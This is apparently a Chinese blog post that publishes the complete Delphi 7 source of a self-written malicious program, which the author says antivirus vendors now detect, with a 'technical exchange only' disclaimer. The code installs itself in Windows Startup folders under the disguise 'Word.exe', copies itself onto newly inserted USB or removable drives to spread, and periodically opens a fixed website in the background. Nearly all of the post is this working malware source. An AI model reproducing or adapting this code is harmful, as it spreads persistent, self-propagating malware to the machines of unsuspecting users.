一个delphi开发的恶意程序代码

这个delphi程序是去年上半年为了测试病毒和病毒代码库所做的恶意程序，功能有：程序运行后，会将自己添加到系统启动项中，如果有u盘接入，会自动copy自己到优盘上，还可以在指定时间内，在系统后台进行某些操作，比如打开网页什么的，该程序已经在去年被列为病毒了。本文只做技术交流，请勿用于非法用途，出现任何问题，本人概不负责。下面时代码，dephi7开发，用了一个timer控件：
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
Dialogs,ShellApi,StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.WMDeviceChange (var Msg: TMessage);
var
//myMsg : String;
m_Result,i:Integer;
str_temp:string;
buf:array [0..MAX_PATH-1] of char;
begin
Case Msg.WParam of
32768:
begin
//myMsg :='U盘插入';
//Label1.Caption:=myMsg;
m_Result:=GetLogicalDriveStrings(MAX_PATH,buf);
for i:=0 to (m_Result div 4) do
begin
str_temp:=string(buf[i*4]+buf[i*4+1]+buf[i*4+2]);
if getdrivetype(pchar(str_temp)) = DRIVE_CDROM then
begin
if str_temp ='E:\' then
CopyFile(Pchar(Application.ExeName),Pchar('F:\Word.exe'),False);
if str_temp ='F:\' then
CopyFile(Pchar(Application.ExeName),Pchar('G:\Word.exe'),False);
if str_temp ='G:\' then
CopyFile(Pchar(Application.ExeName),Pchar('H:\Word.exe'),False);
if str_temp ='H:\' then
CopyFile(Pchar(Application.ExeName),Pchar('I:\Word.exe'),False);
end;
end;
end;
32772:
begin
//myMsg :='U盘拔出';
//Label1.Caption:=myMsg;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
if fileexists('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe') and fileexists('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe')then
else
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var

strurl:string;
begin
StrUrl:='http://www.cnking.org';
ShellExecute(0,'open',pchar(StrUrl),nil,nil,SW_SHOW);
end;
